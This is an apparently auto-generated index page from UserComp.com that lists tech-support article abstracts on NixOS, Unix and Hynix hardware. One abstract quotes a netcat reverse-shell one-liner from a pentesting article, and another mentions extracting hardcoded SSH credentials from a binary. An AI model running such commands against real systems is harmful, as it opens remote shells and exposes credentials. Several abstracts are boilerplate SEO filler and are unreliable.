Articles about nix | UserComp.com

Adding Colorimetry Flags with MKVToolNix

In this tutorial, we will show you how to add colorimetry flags to your MKV files using MKVToolNix. This process is essential for ensuring accurate color reproduction in your videos. Follow the steps below to get started.

Moving Windows Drive Files to Unix Location: A Comprehensive Guide

Learn how to move Windows drive files to a Unix location using Putty.bat and manual cmd line run. This guide provides a step-by-step process to grab the latest file timestamps and transfer files seamlessly between Windows and Unix systems.

Trying to replace the 1st character in a CSV file - Unix Bash

This article provides a solution to replace the first character in a CSV file using Unix Bash commands. This tutorial is SEO optimized and uses keywords such as Unix, Bash, and CSV.

Interpreting SMART Attributes for Hynix SC3111 128GB SSD on Windows Machine

Learn how to interpret SMART attributes for Hynix SC3111 128GB SSD using Disk Genius on Windows machine. Identify key health metrics for optimal SSD performance and longevity.

Can't Find Installed Nix Packages via System Search in Ubuntu 24 with Home-Manager

Having trouble finding installed Nix packages through system search while using Home-Manager in Ubuntu 24? Learn about possible solutions and workarounds to resolve this issue.

Troubleshooting Complex Filter Application on Railway.com using NixOS (Based on Ubuntu)

Having trouble applying a complex filter on Railway.com using NixOS, which is based on Ubuntu? This article provides a SEO-optimized abstract with keywords to help you troubleshoot and find a solution to the problem. Read more to learn how to resolve the issue.

Understanding the Total Erase Count on Hynix SSD in Windows Laptop

This article explains the concept of Total Erase Count (TEC) on a Hynix SSD in a Windows laptop, using Disk Genius to view SMART information.

Gnome47 not respecting symlinked monitors.xml

This article discusses an issue with Gnome47 not respecting symlinked monitors.xml files in NixOS. We provide a solution to this problem.

Making Systemd Service Run Idle: Automatic Updates on NixOS Laptop

Learn how to make a Systemd service run idle on a NixOS laptop, ensuring automatic updates without consuming system resources.

Making Systemd Service Run Idle on NixOS Laptop

This article explains how to make Systemd service run idle on a NixOS laptop to prevent it from leaving the system multiple times a day, while trying to make automatic updates work.

How to Make Systemd Service Run Idle on NixOS Laptop

Learn how to make Systemd service run idle on a NixOS laptop, reducing the number of times it leaves idle during the day.

Undo nix-shell-p<package>: Revert Package Changes?

The Nix package index suggests trying nix-shell-p<package>; but how do you undo changes if needed? Learn about reverting package changes in Nix here. Read more about Nix package management and shell usage.

Understanding Bash Prompt Abbreviations: An Overview

This article provides an overview of bash prompt abbreviations, also known as aliases. They are used to shorten long commands, making it easier and faster to type them in the terminal. Learn about their implementation and configuration in this guide. Read more for a comprehensive understanding of this useful feature in bash.

Enabling GPU Passthrough on NixOS Linux Host for Virtual Machine

This article provides a step-by-step guide on how to enable GPU passthrough on a NixOS Linux host running QEMU and Virt-Manager for a NixOS guest virtual machine. The physical machine has two GPUs in separate IOMMU groups and the goal is to assign a powerful GPU to the Linux guest. Make your NixOS host and guest VM ready for GPU passthrough with ease!

Ryzen 7 5700G, Asus RTX 4070, Hynix RAM, and 500W PSU: Low FPS in Counter-Strike: Global Offensive

Users reporting below-average FPS (80-100 minimum, 120 maximum) in Counter-Strike: Global Offensive with a Ryzen 7 5700G CPU, Asus RTX 4070 GPU, 2x8GB Hynix RAM (F4-3600C18D-16GVK), and 500W 80+ PSU. Learn how to troubleshoot and optimize system performance.

Converting Line Endings from DOS to Unix and Vice Versa with UltraEdit

Learn how to convert line endings from DOS to Unix and vice versa using the powerful text editor, UltraEdit. This tutorial covers the steps to change line ending styles using UltraEdit's EOL conversion feature, providing a solution for handling line ending inconsistencies across different operating systems.

Resolving 'Boot Missing: USB Option' Error in Phoenix Bios Version 3.15

Learn how to troubleshoot and resolve the 'Boot Missing: USB Option' error that occurs in Phoenix Bios version 3.15.

How to Maintain Compiled Linux Driver Updates for Your Realtek 5Gb Network Adapter on Debian or NixOS

Learn how to maintain compiled Linux driver updates for your Realtek 5Gb network adapter on Debian or NixOS. This guide will walk you through the process of downloading and installing the necessary drivers for your network adapter.

Enabling or Disabling Password Authentication for NixOS Home Server: Adding SSH Keys for New Machines

Learn how to enable or disable password authentication for your NixOS home server and add new machines using SSH keys. This guide covers the benefits of SSH key-based authentication, the steps to set it up, and tips for managing multiple machines.

How to Filter Message Subjects by OS: Unix vs Windows

Learn how to filter warning messages by OS, whether it's Unix or Windows, to better manage your server notifications. Improve your tech support skills with this simple tutorial.

Getting EFI Stub Included in NixOS: A Linux Kernel Build Guide

Learn how to get the EFI stub included in your NixOS Linux kernel build. This guide covers the necessary steps and required packages.

2x2g Hynix HMT125U6DFR8C-H9 (DDR3 1333 MHz) RAM Compatibility with GA-H81M-HD3 Motherboard

This article explores the compatibility of GA-H81M-HD3 motherboard with 2x2g Hynix HMT125U6DFR8C-H9 (DDR3 1333 MHz) RAM. Discover if these components can be used together in your system.

Setting up Notifications with eww on NixOS: A 'eww.yuck' Guide

Learn how to set up notifications using eww and a Python script on NixOS. Follow this 'eww.yuck' guide to create a custom configuration file and make the notifications appear in the top left corner of your screen.

Setting up Notifications with eww on NixOS: eww.yuck config file

Learn how to set up notifications using eww on NixOS by configuring the eww.yuck file.

macOS Equivalent to /etc/login.defs for Safer Range Group ID Numbers

This article explains how to find safer range group ID numbers in macOS, an equivalent to the Linux/Unix /etc/login.defs file.

Virt-Install 4.1.0 on NixOS 23.11: Installing Memory Stick Image with Given Options

This article explains how to install a memory stick image using Virt-Install 4.1.0 on NixOS 23.11 with given options. Follow the instructions below to create a valid JSON object.

Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Understanding the Differences: AMI, InsydeH2O, and Phoenix UEFI Vendors/Implementations

In this tech support article, we'll explain the differences between various UEFI (Unified Extensible Firmware Interface) vendors and their implementations, including AMI, InsydeH2O, and Phoenix.

Recovering RAID5 after Deleting Partition Table (fstab) on Nixos 23.11

Learn how to recover a RAID5 array after accidentally deleting its partition table (fstab) on a Nixos 23.11 system.

PhoenixSecurityServices: Tailored Event Security Solutions

PhoenixSecurityServices specializes in providing comprehensive event security solutions tailored to meet specific needs. Their team of highly trained and experienced security professionals ensures effective event security.

Extracting SSH Credentials from a UNIX Program: A C++ Compiled Connection

Learn how to extract hardcoded SSH credentials from a compiled UNIX program written in C++. Follow this step-by-step guide for effective tech support.

Unmounting BTRFS Home Directory: A NixOS Perspective

Learn how to unmount a BTRFS home directory on NixOS system. Follow this step-by-step guide to ensure a successful operation.

Udev Rules Don't Allow Ubuntu and NixOS to Sequence USB Resume for Lenovo ThinkPads

Users report issues with Lenovo ThinkPad T480 running Ubuntu 22.04 LTS and Lenovo ThinkPad X1 Carbon running NixOS not being able to sequence USB resumes for devices with vendor ID 0x36dc.

OBS: Sonix Technology Co. Ltd. Camera instead of Integrated Camera

When setting up OBS with a webcam, the camera list shows Sonix Technology Co. Ltd. instead of Integrated Camera. This article explains how to resolve this issue.

Unix-Like Bootloader Boots Windows PE (Windows 11) on EFI-Based Computers

Learn how to boot Windows PE from a Unix-like bootloader on an EFI-based computer.

OBS: Integrated Camera from Sonix Technology Co. Ltd. Shows as Webcam instead

Users of OBS (Open Broadcaster Software) encounter an issue where the Integrated Camera from Sonix Technology Co. Ltd. is displayed as a webcam in the software. This article offers solutions to help resolve the problem.

Accessing Unix Files in Windows: A Step-by-Step Guide

Learn how to open Unix files and paths in Windows with ease. Our step-by-step guide provides a quick and simple solution for accessing Unix files on your Windows system.

Shell Command to Tar Directory Excluding Certain Folders

Learn how to use a shell command to create a tar archive of a directory while excluding specific folders. This article provides step-by-step instructions for creating a backup using the tar command in Linux.

Troubleshooting Nix OS Booting Issues from USB on HP Dragonfly G4 Laptop

Discover how to troubleshoot booting issues when attempting to boot Nix OS from a USB device on an HP Dragonfly G4 laptop. This article provides step-by-step instructions and valuable insights to resolve common problems related to the GRUB bootloader and Nix OS installation.

Selecting participant number from a txt file

Learn how to extract participant numbers from a txt file using Linux, Unix, and sh. This article provides step-by-step instructions and tips for selecting participant numbers efficiently.

Timeout Error When Trying to Install Jupyter via shell.nix File on NixOS

Encountering a timeout error while attempting to install Jupyter using the shell.nix file on NixOS? This article provides troubleshooting steps and solutions to resolve the issue.

Issues installing Whonix on top of Kicksecure

Encountering issues while installing Whonix on top of Kicksecure? This troubleshooting guide provides step-by-step solutions to common installation problems. Learn how to overcome compatibility issues and ensure a successful setup.

Why does starting `tmux` on sway launch over `swaymsg` does make tmux inaccessible?

Learn why starting `tmux` on sway using `swaymsg` can lead to inaccessibility of tmux. Explore the causes and possible solutions to this issue on the Linux-based sway window manager.

Using chntpw on a PC with M.2 SSD: A Windows and Unix Tech Support Guide

Learn how to effectively use chntpw on a PC with M.2 SSD in both Windows and Unix systems. This guide provides step-by-step instructions and troubleshooting tips for password recovery and system management.

Troubleshooting: Timeout Error when Installing Jupyter via Nix-shell

Encountering a timeout error while attempting to install Jupyter using Nix-shell? This article provides a step-by-step guide to resolve the issue and successfully install Jupyter on NixOS.

Podman Fails to Start Machine on macOS Sonoma/aarch64 (14.1.1)

Encountering issues with Podman failing to start the machine on macOS Sonoma/aarch64 (14.1.1)? This article provides troubleshooting steps and solutions to resolve the problem.

How to Make a Copy of Files in Grandchild Directory, Rename Them, and Add Text After n Lines from the Top

Learn how to efficiently copy files in a grandchild directory, rename them, and insert text after a specific number of lines from the top using Linux shell commands. This article provides step-by-step instructions and examples for effective file management in a Unix-like environment.

Get Certificate Expiry Date in Unix Time Format

Learn how to retrieve the expiry date of a certificate in Unix time or any other numeric format. This article provides step-by-step instructions using OpenSSL to obtain the certificate's expiration date.

Learning Wildcards for New Unix Users

This article provides a comprehensive guide for new Unix users on understanding and utilizing wildcards. Learn how to leverage wildcards in Unix commands to efficiently manage and manipulate files and directories. Dive into the world of Unix wildcards and enhance your Linux skills.